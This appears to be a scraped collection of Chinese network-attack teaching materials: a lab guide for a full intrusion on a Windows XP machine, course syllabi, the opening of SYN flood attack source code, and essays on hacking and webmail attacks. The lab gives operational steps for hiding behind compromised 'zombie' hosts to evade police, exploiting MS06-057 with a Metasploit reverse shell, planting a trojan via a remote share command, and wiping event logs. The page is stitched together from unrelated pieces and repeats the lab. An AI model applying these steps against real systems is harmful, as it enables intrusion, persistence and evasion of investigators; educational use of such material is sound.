lab5-网络攻防基本步骤

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网络攻击实例

实验目的:通过本实例熟悉一个完整的网络攻击的基本步骤

实验环境:局域网中xp系统的pc机两台(被攻击的系统ie为6.0 sp1/sp2,并关闭杀毒软件)和metasploit软件、木马软件、日志清除软件(实验已提供)

实验步骤:

Ⅰ、实验简介:通过对实验目标主机(本例中A机为目标机)攻击前后的各个步骤实践,从而熟悉一次完整的网络攻击的基本步骤。

实验拓扑:

Ⅱ、下面以网络攻击“五部曲”进行各个步骤介绍。

1、隐藏IP

这一步必须做,因为如果自己的入侵的痕迹被发现了,当网警找上门的时候就一切都晚了。

通常有两种方法实现自己IP的隐藏:

第一种方法是首先入侵互联网上的一台电脑(俗称“肉鸡”),利用这台电脑进行攻击,这样即使被发现了,也是“肉鸡”的IP地址。(本例为了节省时间已经将本机主机B假设成了一台肉鸡,若要抓取肉鸡可以利用实验三的知识)

第二种方法是利用代理。

2、踩点扫描

踩点就是通过各种途径对所要攻击的目标进行多方面的了解(包括任何可得到的蛛丝马迹,但要确保信息的准确),确定攻击的时间和地点。

扫描的目的是利用各种工具在攻击目标的IP地址或地址段的主机上寻找漏洞。扫描分成两种策略:被动式策略和主动式策略。

常见的踩点方法包括:

在域名及其注册机构的查询

目标性质的了解

对主页进行分析

邮件地址的搜集

目标IP地址范围查询。

本例实验环境特殊,直接就是在同一个局域网里所以直接通过简单的扫描就可以踩点到目标机A的信息。下面假设我们已经踩点到目标机A的ip为“192.168.1.233”,浏览器为ie6.0 sp2 所以我们可以利用本地主机B对目标机A是可信的(他们同处一个局域网,假设他们是可信的),对目标机A进行URL诱骗攻击。

3、获得系统或管理员权限

得到管理员权限的目的是连接到远程计算机,对其进行控制,达到自己攻击目的。获得系统及管理员权限的方法有:

通过系统漏洞获得系统权限

通过管理漏洞获得管理员权限

通过软件漏洞得到系统权限

通过监听获得敏感信息进一步获得相应权限

通过弱口令获得远程管理员的用户密码

通过穷举法获得远程管理员的用户密码

通过攻破与目标机有信任关系另一台机器进而得到目标机的控制权

通过欺骗获得权限以及其他有效的方法。

本例就软件漏洞来获取权限,简单步骤如下(Metasploit使用方法,若不熟悉,请返回实验三学习):

3.1、下面就在实验三的学习基础之上利用metasploit里面的MS06-057(本案例环境特殊,都在同一个局域网里且系统完全一样,所以可以通过扫描本地主机B知道目标机A的漏洞,所以这里利用的360进行本地扫描得出了ms06-057这个漏洞)

3.2、metasploit基本配置和实验三一样,选择sehllcode时仍然选择windows/sell_reverse_tcp,在设备shellcode时注意相应的位置,如下图的“192.168.1.123”要对应肉鸡的主机ip(本例就填写本地的ip)。

3.3、运行exploit,特别注意:此处生成了.123:8082/dmXQ6q42bgyQYQ(注意该url是根据程序生成的,不是固定的),这个就是要让目标机A访问的url地址,只有目标机A访问了这个url才能成功。本例就假设目标机A信任了肉鸡(该肉鸡在本例中就是本地主机B),并让主机A主动通过ie访问url。成功后本地机B提示如下图:

3.4、当目标机A访问了上述url,便可点击上图“session”弹出连接成功的远程cmd shell。这时便取得了目标机A的本地用户的权限了。

4、种植后门

为了保持长期对自己胜利果实的访问权,在已经攻破的计算机上种植一些供自己访问的后门。本例就上传一个木马(附件已提供)。

4.1生成木马服务端。运行暗组主程序,如下图。然后点击“生成服务端”。

4.2 在生成服务端对话框里只需更改“上线域名”处为肉鸡ip(本例直接填写自己主机ip 即可)。然后点击“生成”,接着设置存储名字(此次设置为“haha.exe”,后面方面访问)。成功后将弹出生成服务端成功信息(如下提示对话框图)。

4.3、将生成的服务端共享到“肉鸡”上(即本例的主机B)。共享文件方法这里就不赘述了。

4.4、将暗组木马的客户端开始监听。注意:由于之前生成的服务端没密码,所以这里也要去除连接密码文本框里的密码,将其设置为空,然后直接单击“开始监听”即可,如下图。

4.5、通过返回的远程session,访问共享的木马服务端。命令为start \\192.168.1.123\test\haha.exe,如下图

(注意start后有空格,ip地址为肉鸡的ip,test在肉鸡上共享的文件夹,haha.exe是木马服务端)。

4.6、运行成功后,主机目标机A就和本地木马客户端主动连接了。接着就可以在目标机A 上做进一步操作了。比如建立超级隐藏账户(实验已提供了教程,见视频材料)

5、在网络中隐身

一次成功入侵之后,一般在对方的计算机上已经存储了相关的登录日志,这样就容易被管理员发现。

在入侵完毕后需要清除登录日志已经其他相关的日志。

案例三:清除日志

在命令行执行清除日志命令之前,将clearel.exe拷贝到目标机中。使用工具软件clearel.exe,可以方便的清除系统日志。执行清除主机日志命令,命令分别为删除系统日志(Clearel System)、安全日志(Clearel Security)、应用程序日志(Clearel Application)和删除全部日志(Clearel All)。

命令执行的过程如下二图所示。

注:此处Copy命令的格式为:copy 源路径和文件名目标路径和文件名此时远程目标机A上的日志就被清除了。

Ⅲ、评价标准:

是否渗透成功;

是否成功安置木马;

是否成功删除日志;

是否熟悉了网络攻击的几个基本步骤。

网络攻击与防御课程大纲(本科)

山东华宇工学院 《网络攻击与防御》 课程教学大纲 适用专业:计算机网络工程 编制单位:网络教研室 编制日期:2017年7月20日 电子信息工程学院制

《网络攻击与防御》课程教学大纲 一、教学目标 《网络攻击与防御》通过本课程的教学,使学生能熟练掌握信息安全的基本概念、框架和技术,使学生掌握常见的信息安全技术、加密技术、防火墙技术、入侵检测与预警技术、防病毒技术、拒绝服务攻击、欺骗攻击、常见的系统漏洞等安全方面的内容。通过学习,学生能够主动构建信息安全框架,并从内容安全和管理安全的角度掌握信息安全的方法和技术。通过该课程的学习,学生可以了解到信息安全的发展现状和网络安全的各种相关技术,通过实验还可以学会有关网络安全方面的分析与设计。 二、本课程与专业人才培养目标的关系——网络工程专业 三、学时安排

课程内容与学时分配表 四、课程教学内容与基本要求 第一章信息安全概述 教学目的与要求:通过本章的学习,了解信息的概念,性质与功能会计的产生、信息技术与信息安全的关系、息安全主要事件及形势的严峻性、信息安全的含义。 主要知识点: 1.信息与信息技术概述 2.网络体系结构与协议基础 3.信息安全的重要性与严峻性 4.信息安全的目标 教学重点与难点:信息与信息技术概述、信息安全的目标 第二章攻击信息安全的行为分析 教学目的与要求:通过本章的学习,了解信息安全问题的起源及常见威胁、了解影响信息安全的人员分析、理解网络攻击的手段与步骤、熟悉常见的网络攻击技术、熟悉网络

防御与信息安全保障的相关知识。 主要知识点: 1.信息安全问题的起源和常见威胁 2.影响信息安全的人员分析 3.网络攻击的手段与步骤 4.网络攻击技术 5.网络防御与信息安全保障 教学重点与难点:网络攻击的手段与步骤、网络攻击技术 第三章信息安全体系结构 教学目的与要求:熟悉开放系统互连安全体系结构,了解安全体系框架三维图、了解信息安全技术的相关知识、了解信息安全的等级划分及认证方法。 主要知识点: 1.开放系统互连安全体系结构 2.信息安全体系框架 3.信息安全技术 4.信息安全的产品类型 5.信息系统安全等级保护与分级认证 教学重点与难点:信息安全体系框架、信息系统安全等级保护与分级认证 第四章物理安全技术 教学目的与要求:了解物理安全的定义,掌握计算机房场地环境的安全要求,掌握电源安全技术的实现方法,掌握电磁防护的常用方法,理解通信线路安全的概念和保护方法。 主要知识点: 1.物理安全概述 2.物理安全等级要求 3.设备安全技术要求 4.环境安全技术要求 5.系统物理安全技术要求 教学重点与难点:物理安全等级要求 第五章灾难备份与恢复技术 教学目的与要求:掌握灾难恢复的关键技术,熟悉灾难恢复的规划与实施,了解灾难备

网络攻防原理与技术源代码

/*=================================================== * 基于winpcap的多线程SYN Flood攻击源代码 * 运行平台:WinXP,Win2k3,WinVista,Win2k8,Win7 * 编译环境:VC6.0 + winpcap SDK *====================================================*/ #define WIN32_LEAN_AND_MEAN #define _WSPIAPI_COUNTOF #include #include #include #include #include #include #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wpcap.lib") #pragma comment(lib, "packet.lib") #define MAXTHREAD 20 #define OID_802_3_CURRENT_ADDRESS 0x01010102 #define OPTION_LENTH 6 #define SYN_DEST_IP "192.168.0.22" // 被攻击的IP #define SYN_DEST_PORT 80 // 被攻击的PORT #define FAKE_IP "192.168.0.11" // 伪装的IP #define FAKE_MAC "\xB8\xAC\x6F\x1F\x26\xF6" // 伪装的MAC // 内存对齐设置必须是1 #pragma pack(1) typedef struct et_header // 以太网首部 { unsigned char eh_dst[6]; // 目的MAC unsigned char eh_src[6]; // 源MAC unsigned short eh_type; // 上层协议类型 }ET_HEADER; typedef struct ip_hdr // IP首部 { unsigned char h_verlen; // 版本与首部长度 unsigned char tos; // 区分服务 unsigned short total_len; // 总长度 unsigned short ident; // 标识 unsigned short frag_and_flags; // 3位的标志与13位的片偏移

网络安全防护技术

《网络安全防护技术》课程标准一、课程基本信息 课程名称网络安全防护技术先修课计算机组网技术、网络操作系统、网络管理 学分 4 学时建议68学时 授课对象网络专业三年级学生后续课攻防对抗、网络安全检 测与评估 课程性质专业核心课 二、课程定位 计算机网络技术专业从“组网、管网、用网”三个方向分别设置课程,《网络安全防护技术》则是其中承上启下,为这三个专业方向提供支撑,是计算机网络技术专业的核心课程。 《网络安全防护技术》课程通过三大应用情境的12个典型工作任务的学习,帮助学生学会正确使用各娄安全技术:加密、身份认证、资源权限管理、操作系统加固、病毒防范、链路加密、漏洞修补、安全检测等,能实施包括防水墙、入侵检测等安全产品配置,更能根据不同应用网络环境规划安全方案及应急响应策略。从内容上看,它涵盖了个人主机、办公网络和企业网络在安全防范中最常用的技术,也是网络安全工程师NCSE一、二级职业资格考试的重要内容,在整个课程体系中具有重要的作用。 学生学习了这门课程,既有助于学生深化前导的《网络操作系统》、《网络管理》、《计算机组网技术》等专业课程,又能辅助学生学习后续的《攻防对抗》、《网络安全检测与评估》的理解,提高学生的网络安全管理能力,培养更适应计算机网络相关岗位的合格从业人员。 三、课程设计(参照信息产业部NCSE一、二级证书的考试大纲) 1、课程目标设计 (1)能力目标 能够解决不同的网络应用环境中遇到的信息安全问题,成为具备基本安全知识和技能的安全应用型人才。能正确配置网络安全产品、实施应用安全技术、熟练掌握各类安全工具的使用方法,并能规划不同应用网络环境中的安全方案及应急响应策略。 (2)知识目标 掌握网络安全技术的概念与相关知识,了解网络安全相关标准,对于各类网络环境所使用的各类防护技术原理有正确的认识。 (3)态度目标 遵守国家关于信息安全的相关法律法规,不利用所掌握的技术进行入侵攻击方面的活动;正确认识攻击事件,有应急处理维护和恢复信息系统的意识。 (4)终极目标 培养掌握较全面的网络安全防护技能,同时具备较高的安全素养,能够从事企事业单位的网络安全与管理的合格从业人员。

网络黑客及其常用攻击方法

计算机网络系统面临的严重安全问题之一就是黑客攻击。黑客由产生初期的正义的“网络大侠”演变成计算机情报间谍和破坏者,他们利用计算机系统和网络存在的缺陷,使用手中计算机,通过网络强行侵入用户的计算机,肆意对其进行各种非授权活动,给社会、企业和用户的生活及工作带来了很大烦恼。 1.黑客的概念及类型 (1)黑客及其演变 “黑客”是英文“Hacker”的译音,源于Hack,本意为“干了一件非常漂亮的事”。原指一群专业技能超群、聪明能干、精力旺盛、对计算机信息系统进行非授权访问的人。后来成为专门利用计算机进行破坏或入侵他人计算机系统的 人的代言词。 “骇客”是英文“Cacker”的译音,意为“破坏者和搞破坏的人”。是指那些在计算机技术上有一定特长,非法闯入他人计算机及其网络系统,获取和破坏重要数据,或为私利而制造麻烦的具有恶意行为特征的人。骇客的出现玷污了黑客,使人们把“黑客”和“骇客”混为一体。 早期的“黑客”是一些专门研究、发现计算机系统和网络漏洞的计算机爱好

者。他们只对计算机系统有着狂热的兴趣和执着的追求,不断地研究计算机和网络知识,喜欢挑战高难度的网络系统并从中找到漏洞,然后向管理员提出解决和修补漏洞的方法。“黑客”不是恶意破坏者,是一群纵横于网络上的大侠,追求共享、免费,提倡自由、平等,“黑客”的出现推动了计算机和网络的发展与完善。 现在,黑客一词已经被用于那些专门利用计算机进行破坏或入侵他人计算机系统的代言词,指少数凭借掌握的计算机技术,怀着不良的企图,采用非法手段获得系统访问权或逃过计算机网络系统的访问控制,进入计算机网络进行未授权或非法访问的人。 虚拟的网络世界里,黑客已成为一个特殊的社会群体。在世界上很多国家,有不少完全合法的黑客组织,经常召开黑客技术交流会,利用因特网在自己的网站上介绍黑客攻击手段,免费提供各种黑客工具软件,出版网上黑客杂志,致使普通用户也很容易下载并学会使用一些简单的黑客手段或工具,对网络进行某种程度的攻击,进一步地恶化了网络安全环境。有统计数据显示,世界上平均每5秒就有一起黑客事件发生,无论是政府机构、军事部门,还是各大银行和公司,只要与互联网接轨,就难逃黑客的“黑手”。 (2)中国黑客的形成与发展 1994年4月20日,中国国家计算与网络设施工程(The National Computing andNetworking Facility of China,NCFC)通过美国Sprint公司,连入Internet的64K国际专线开通,实现了与Internet的全功能连接。中国成

黑客教程:Webmail攻防实战

Webmail是指利用浏览器通过web方式来收发电子邮件的服务或技术,不需借助邮件客户端,可以说只要能上网就能使用webmail,极大地方便了用户对邮件的收发。对于不能熟练使用邮件客户端,或者在网吧不便使用邮件客户端的用户来说,webmail更是必不可少的选择。Email能够成为当今internet上应用最广泛的网络服务,webmail可谓功不可没。 由于用户的使用不当或者webmail系统的开发不周,都有可能给webmail的使用带来更多的安全威胁。同样,webmail系统作为当今电子邮件系统的重要组成部份,它的安全性也是不可忽视的。 一、邮件地址欺骗 邮件地址欺骗是非常简单和容易的,攻击者针对用户的电子邮件地址,取一个相似的电子邮件名,在webmail 的邮箱配置中将“发件人姓名”配置成与用户一样的发件人姓名(有些webmail系统没有提供此功能),然后冒充该用户发送电子邮件,在他人收到邮件时,往往不会从邮件地址、邮件信息头等上面做仔细检查,从发件人姓名、邮件内容等上面又看不出异样,误以为真,攻击者从而达到欺骗的目的。例如某用户的电子邮件名是wolfe,攻击者就会取w0lfe、wo1fe、wolfee、woolfe之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃,但还是有很多用户使用的是免费电子邮箱,通过注册申请,攻击者很容易得到相似的电子邮件地址。 人们通常以为电子邮件的回复地址就是它的发件人地址,其实不然,在RFC 822中明确定义了发件人地址和回复地址可以不一样,熟悉电子邮件客户端使用的用户也会明白这一点,在配置帐户属性或撰写邮件时,可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时,虽然会检查发件人地址是否真实,但在回复时,并不会对回复地址做出仔细的检查,所以,如果配合smtp欺骗使用,发件人地址是要攻击的用户的电子邮件地址,回复地址则是攻击者自已的电子邮件地址,那么这样就会具有更大的欺骗性,诱骗他人将邮件发送到攻击者的电子邮箱中。 所谓害人之心不可有,防人之心不可无,鉴于邮件地址欺骗的易于实现和危险性,我们不得不时时提防,以免上当受骗。对于webmail系统而言,提供邮件信息头内容检查、smtp认证(如果该邮件系统支持smtp 的话)等服务技术,将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言,认真检查邮件的发件人邮件地址、发件人IP地址、回复地址等邮件信息头内容是很重要的。 二、Webmail暴力破解 Internet上客户端与服务端的交互,基本上都是通过在客户端以提交表单的形式交由服务端程序(如CGI、ASP等)处理来实现的,webmail的密码验证即如此,用户在浏览器的表单元素里输入帐户名、密码等信息并提交以后,服务端对其进行验证,如果正确的话,则欢迎用户进入自己的webmail页面,否则,返回一个出错页面给客户端。 籍此,攻击者借助一些黑客工具,不断的用不同的密码尝试登录,通过比较返回页面的异同,从而判断出邮箱密码是否破解成功。帮助攻击者完成此类暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最为强大,它本身已经是一个功能完善的浏览器,通过分析和提取页面中的表单,给相应的表单元素挂上字典文件,再根据表单提交后返回的错误标志判断破解是否成功。

毕业设计网络安全与黑客论文

网络安全与黑客论文 摘要:随着网络在人们生活与工作的各方面使用的日益普遍,网络安全问题已经成为一个被人们强烈关注的热点。而其中黑客攻击所造成的安全问题是很重要的一个方面。本文将介绍有关黑客使用的手段、造成的威胁与应对的方法。 关键词:网络安全,威胁,黑客,入侵步骤,原理,对策 网络发展的早期,人们更多地强调网络的方便性和可用性,而忽略了网络的安全性。当网络仅仅用来传送一般性信息的时候,当网络的覆盖面积仅仅限于一幢大楼、一个校园的时候,安全问题并没有突出地表现出来。但是,当在网络上运行关键性的如银行业务等,当企业的主要业务运行在网络上,当政府部门的活动正日益网络化的时候,计算机网络安全就成为一个不容忽视的问题。从09年年初央视3.15晚会上有关网银安全方面的报道,到5.19全国断网事件的突发,再到移动、百度网站被黑的事件。皆表明网络安全问题已经成为一个公众十分关注的话题。而其中黑客攻击所造成的安全问题是很重要的一个方面。正是由于黑客的破坏,使得商业机密被窃取、国家和军事情报遭泄露、巨额资金被盗窃、交通指挥失灵。我们有理由担心,如果黑客入侵发生在国防、交通、经济等部门,那么这些网络有可能瘫痪,并可能造成全国性的瘫痪,以瘫痪为目标的袭击比任何传统的恐怖主义和战争方式来得更为强烈,破坏性更大,危害的速度更快、范围也更广。黑客的日益猖獗,已经严重破坏了经济秩序,干扰经济建设并危及国家安全。 1.黑客起源、变异和发展趋势 黑客是英文“Hacker”的英文译音,我国台湾地区译为“骇客”,它起源于美国麻省理工学院的计算机实验室中。在20世纪60年代,当时大学校园里刚刚出现大型主机。那时黑客的目标是在找出其中的漏洞,以便让它们更好地运行。 到了70年代,黑客主要是盗用电话线路,利用科技手段黑掉远程电话网络,盗打电话。进入80年代,随着计算机网络理论和技术的发展,美国国防部的专用网迅速扩散,互联网雏形逐渐形成,黑客们也纷纷由盗用电话线路转向了攻击网络。这一代黑客目标比较单一,正像罗伯特.莫里斯(1988蠕虫病毒的制造者,他制造的蠕虫病毒入侵了美国多个计算机网络,致使大约6000个大学和军事机构的计算机瘫痪)庭审的时候告诉检举人的那样,他从来没有打算毁掉那些电脑,只是想发现它们的安全缺陷。早期黑客只是利用自己的智慧和特殊的技术,揭露软件和网络系统中的漏洞,以便让制造商和网络管理人员及时修补。 然而,当互联网以远比人们预料快的多的速度发展的时候,黑客原有的“揭露漏洞,不进行破坏,帮助完善系统”的信条已发生了变异,现代的黑客已经分化为三类,一是初级黑客,这些人一般没有特殊的企图,只是出于好奇心,追求刺激,试探性地对网络进行攻击;二是高水平黑客,这些人出于利益的驱动,为达到一定的目的,有针对性地对网络进行攻击;三是职业黑客,这些人其本身可能就是恐怖分子、经济或政治间谍等,由于他们的水平极高,攻击具有很大的隐蔽性,因而造成的损失也最大。事实上,最初真正为寻找漏洞、完善软件和网络系统的黑客已是越来越少了。黑客的年龄也越来越小,甚至有的小到了14岁以下,法律都难于惩罚。 总之,从发展趋势看,黑客正在不断地走向系统化、组织化和年轻化。

网络安全与攻防教学大纲

课程名称:《网络安全与攻防实战》课程代码: 94010042 开课系(部):信息工程学院 制定人:谢品章 审核人:曾德生 制定时间: 2016年8月28日

《网络安全与攻防实战》教学大纲 学分:4 总学时:64 考核方式:考试 课程性质:专业课课程类别:理实一体 开课单位:信息工程学院适用专业:计算机网络专业 一、教学目标 本课程是计算机信息管理专业在学习实用组网和计算机网络基础后的一门专业必修课程,通过本课程的学习,使同学们掌握网络安全的基础知识,能自主进行网络安全的实施,在网络管理时,能完成独当一面,能够在日后的工作中解决网络安全出现的问题。 二、教学要求 1. 使学生了解和掌握网络安全的基础知识和基本技能,具有应用网络安全的能力,提高学生的科学文化素质,达到培养目标的基本要求。 2. 为学生利用网络安全中规范和应用能力其他综合性课程打下基础,使他们具有运用知识进一步学习相关专业知识的初步能力。 三、教学内容及学时安排

四、教学方法 本课程以工作任务为导向,以培养职业素质为目标,课程内容选择日常事务中基于工作过程实用典型案例,以实用任务的形式呈现,以“任务描述→案例→相关知识与技能→方法与步骤→知识拓展→探索与练习”几个环节贯穿每一个任务中,每一个任务都是围绕职业岗位需要的素质、能力、技能组织教学。课程突出工作过程的主线地位,以边讲边练的模式开展教学,注重知识的实用性、工作过程的完整性和可迁移性,在学习过程中使学生的知识、能力及素质协调发展。 1、以能力为本位,精讲多练,突出能力的培养。注意教学内容中基本概念和基本能力的教学,培养学生的自学能力、实践能力、对新事物的适应能力和创新能力,使学生在掌握基本概念和基本技能的基础上,能举一反三、触类旁通,具有学习和使用新机型、新软件的能力。 2、教学模式上,注意将课堂教学与上机操作紧密结合,探索“教、学、做”一体化,边讲边练的教学模式,注重培养学生的实际应用能力。 3、加强实践教学,培养学生的操作能力。采用多种方式为学生提供更多的上机时数。 五、考核方式与评分办法 本课程成绩由平时成绩和期末考试成绩两部分组成。 1.根据学生出勤情况、完成作业情况以及实践环节的表现给出平时成绩。

lab5-网络攻防基本步骤

网络攻击实例 实验目的:通过本实例熟悉一个完整的网络攻击的基本步骤 实验环境:局域网中xp系统的pc机两台(被攻击的系统ie为6.0 sp1/sp2,并关闭杀毒软件)和metasploit软件、木马软件、日志清除软件(实验已提供) 实验步骤: Ⅰ、实验简介:通过对实验目标主机(本例中A机为目标机)攻击前后的各个步骤实践,从而熟悉一次完整的网络攻击的基本步骤。 实验拓扑: Ⅱ、下面以网络攻击“五部曲”进行各个步骤介绍。 1、隐藏IP 这一步必须做,因为如果自己的入侵的痕迹被发现了,当网警找上门的时候就一切都晚了。 通常有两种方法实现自己IP的隐藏: 第一种方法是首先入侵互联网上的一台电脑(俗称“肉鸡”),利用这台电脑进行攻击,这样即使被发现了,也是“肉鸡”的IP地址。(本例为了节省时间已经将本机主机B假设成了一台肉鸡,若要抓取肉鸡可以利用实验三的知识) 第二种方法是利用代理。 2、踩点扫描 踩点就是通过各种途径对所要攻击的目标进行多方面的了解(包括任何可得到的蛛丝马迹,但要确保信息的准确),确定攻击的时间和地点。 扫描的目的是利用各种工具在攻击目标的IP地址或地址段的主机上寻找漏洞。扫描分成两种策略:被动式策略和主动式策略。 常见的踩点方法包括: 在域名及其注册机构的查询 目标性质的了解 对主页进行分析 邮件地址的搜集 目标IP地址范围查询。 本例实验环境特殊,直接就是在同一个局域网里所以直接通过简单的扫描就可以踩点到目标机A的信息。下面假设我们已经踩点到目标机A的ip为“192.168.1.233”,浏览器为ie6.0 sp2 所以我们可以利用本地主机B对目标机A是可信的(他们同处一个局域网,假设他们是可信的),对目标机A进行URL诱骗攻击。 3、获得系统或管理员权限 得到管理员权限的目的是连接到远程计算机,对其进行控制,达到自己攻击目的。获得系统及管理员权限的方法有: 通过系统漏洞获得系统权限 通过管理漏洞获得管理员权限 通过软件漏洞得到系统权限 通过监听获得敏感信息进一步获得相应权限

网络安全技术课程学习体会

课程学习体会 通过学习网络安全技术这门课,我了解到随着计算机网络的不断发展,全球信息化已成为人类发展的大趋势;给政府机构、企事业单位带来了革命性的改革。但由于计算机网络具有联结形式多样性、终端分布不均匀性和网络的开放性、互连性等特征,致使网络易受黑客、病毒、恶意软件和其他不轨的攻击,所以网上信息的安全和保密是一个至关重要的问题。 认真分析网络面临的威胁,我认为,计算机网络系统的安全防范工作是一个极为复杂的系统工程,是一个安全管理和技术防范相结合的工程。在目前法律法规尚不完善的情况下,首先是各计算机网络应用部门领导的重视,加强工作人员的责任心和防范意识,自觉执行各项安全制度,在此基础上,再采用先进的技术和产品,构造全方位的防御机制,使系统在理想的状态下运行。 学习了这门课程,让我对网络安全技术有了深刻的了解及体会: 一、网络安全的简介: 安全就是最大程度地减少数据和资源被攻击的可性。从本质上说,网络的安全和信息的安全等同,指的是网络系统的软硬件和系统中的数据受到保护,不受各种偶然的或者恶意的网络攻击而遭到损坏、修改、删除等,系统连续可靠正常地运行,网络服务不中断。从广泛意义上讲,凡是涉及到网络上信息的完整性、保密性、可控性,可用性和不可否认性的相关技术和理论都是网络安全所要进行研究的领域。提供安全性的所有技术大致分为两个部分:1、对将被发送的信息进

行安全性相关的变换,包括消息的加密,通过加密搅乱了该消息,使攻击者不可读;2、增加基于该消息内容的代码,使之能够用于证实 发送者的身份。 二、网络安全脆弱的原因: 1、开放性的网络环境 正如一句非常经典的话:“Internet的美妙之处在于你和每个人都能互相连接,Internet的可怕之处在于每个人都能和你相互连接。 2、源于协议本身的挑战 有网络传输就有网络传输协议的存在,每一种网络传输协议都有不同的层次、不同方面的漏洞,被广大用户使用的TCP/IP也不例外的存在着自身的漏洞。如网络应用层服务的安全隐患、IP层通信系统的易欺骗性、数据传输机制为广播发送等。 3、操作系统存在漏洞 使用网络离不开操作系统,操作系统的安全性对网络安全同样有非常重要的影响,有很多攻击方法都是从寻找操作系统缺陷入手的。如系统模型本身的缺陷、操作系统的源代码存在Bug、操作系统程序配置不正确、安全管理知识的缺乏也是影响网络安全的一个重要因素。 三、网络攻击与防御技术: 黑客攻击和网络安全的是紧密结合在一起的,研究网络安全不研究黑客攻击技术简直是纸上谈兵,研究攻击技术不研究网络安全就是闭门造车。某种意义上说没有攻击就没有安全,系统管理员可以利用常见的攻击手段对系统进行检测,并对相关的漏洞采取措施。

《网络攻击与防范》教学大纲

《网络攻击与防范》教学大纲 一、课程的基本描述 课程名称:网络攻击与防范 课程性质:专业课适用专业:计算机、软件、网络 总学时:85学时理论学时:34学时 实验学时:51学时课程设计:无 学分: 3.0学分开课学期:第五或第六学期 前导课程:计算机网络 后续课程: 二、课程教学目标 本课程主要介绍网络攻击的常规思路、常用方法、常见工具,以及针对攻击的网络防御方面常规的防御思路、防御方法和防御工具。通过该课程教学,学生应当: 能够深入理解当前网络通信协议中存在的缺陷和问题,理解当前系统和应用软件中可能潜在的漏洞和问题。了解当前技术条件下网络攻防的思路方法和相应的攻防工具。 培养现代计算机网络环境下,熟练使用各类常见攻防工具的能力,同时培养出查找问题、分析问题和解决问题的能力。 初步培养网络攻防方面的安全意识和危机意识。 三、知识点与学时分配 第一章网络攻防技术概述 教学要点:本章立足网络空间安全,介绍网络攻防的基本概念和相关技术。 教学时数:6学时 教学内容: 1.1 黑客、红客及红黑对抗 要点:了解黑客起源、发展,以及黑客、红客和红黑对抗的相关概念; 1.2 网络攻击的类型

要点:了解主动攻击、被动攻击的相关概念及方式; 1.3 网络攻击的属性 要点:掌握攻击中权限、转换防范和动作三种属性类型,加深对攻击过程的理解; 1.4 主要攻击方法 要点:了解端口扫描的概念及原理;了解口令攻击的概念及三种攻击方式;了解Hash 函数的相关概念,掌握彩虹表的工作原理;了解漏洞攻击的相关概念,以及产生的原因; 了解缓冲区溢出的概念,掌握缓冲区溢出的原理,以及利用缓冲区溢出攻击的过程;了解电子邮件攻击的概念,以及目标收割攻击的工作原理;了解高级持续威胁的概念、特点以及主要环节;了解社会工程学的概念,以及社会工程学攻击的方式、步骤; 1.5 网络攻击的实施过程 要点:掌握攻击实施的三个过程:包括攻击发起阶段可用于分析、评估的属性;攻击作用阶段的作用点判定原则;攻击结果阶段的具体表现评价方式; 1.6 网络攻击的发展趋势 要点:了解云计算及面临的攻击威胁、移动互联网面临的攻击威胁和大数据应用面临的攻击威胁等新应用产生的新攻击方式;了解网络攻击的演进过程和趋势;了解网络攻击的新特点。 考核要求:熟悉网络攻防的相关概念,能识别网络攻击方式及掌握攻击的评估方法。第二章 Windows操作系统的攻防 教学要点:从Windows操作系统基本结构入手,在了解其安全体系和机制的基础上,掌握相关的安全攻防技术。 教学时数:4学时 教学内容: 2.1 Windows操作系统的安全机制 要点:了解Windows操作系统的层次结构;了解Windows服务器的安全模型; 2.2 针对Windows数据的攻防 要点:掌握EFS、BitLocker两种加密方式的原理、实行步骤以及特点;了解数据存储采用的相关技术;了解数据处理安全的相关技术; 2.3 针对账户的攻防

计算机网络安全教程课后答案 - 副本

第1章(P27) 三、简答题 ●1. 网络攻击和防御分别包括哪些内容? 答:①攻击技术:网络扫描,网络监听,网络入侵,网络后门,网络隐身 ②防御技术:安全操作系统和操作系统的安全配置,加密技术,防火墙技术,入侵检测,网络安全协议。 ●2. 从层次上,网络安全可以分成哪几层?每层有什么特点? 答:从层次体系上,可以将网络安全分为4个层次上的安全: (1)物理安全特点:防火,防盗,防静电,防雷击和防电磁泄露。 (2)逻辑安全特点:计算机的逻辑安全需要用口令、文件许可等方法实现。 (3)操作系统特点:操作系统是计算机中最基本、最重要的软件。操作系统的安全是网络安全的基础。(4)联网安全特点:联网的安全性通过访问控制和通信安全两方面的服务来保证。 6.网络安全橙皮书是什么?包括哪些内容? 答:可信任计算机标准评价准则(Trusted Computer Standards Evaluation Criteria,TCSEC),即网络安全橙皮书,一些计算机安全级别被用来评价一个计算机系统的安全性。 橙皮书把安全的级别从低到高分成4个类别:D类、C类、B类和A类 第2章(P56) 三、简答题 2. 简述TCP/IP协议族的基本结构,并分析每层可能受到的威胁及如何防御。 答:讨论TCP/IP的时候,总是按五层来看,即物理层,数据链路层,网络层,传输层和应用层.1.物理层:这里的威胁主要是窃听,那使用防窃听技术就可以了;2.数据链路层:有很多工具可以捕获数据帧,如果有条件的话,可以使用数据加密机;3.网络层:针对IP包的攻击是很多的,主要是因为IPv4的数据包本身是不经过加密处理的,所以里面的信息很容易被截获,现在可以使用IPSec来提供加密机制;4.传输层:针对TCP的攻击也多了,在这里一般使用进程到进程(或者说端到端的)加密,也就是在发送信息之前将信息加密,接收到信息后再去信息进行解密,但一般会使用SSL;5.应用层:在应用层能做的事情太多,所以在这里做一些安全措施也是有效的; ●5.简述常用的网络服务和提供服务的默认端口。 答:端口:0 服务:Reserved 说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。 端口:1 服务:tcpmux 说明:这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。 端口:7 服务:Echo 说明:能看到许多人搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息。端口:19 服务:Character Generator 说明:这是一种仅仅发送字符的服务。UDP版本将会在收到UDP

网络黑客攻防技术学习总结

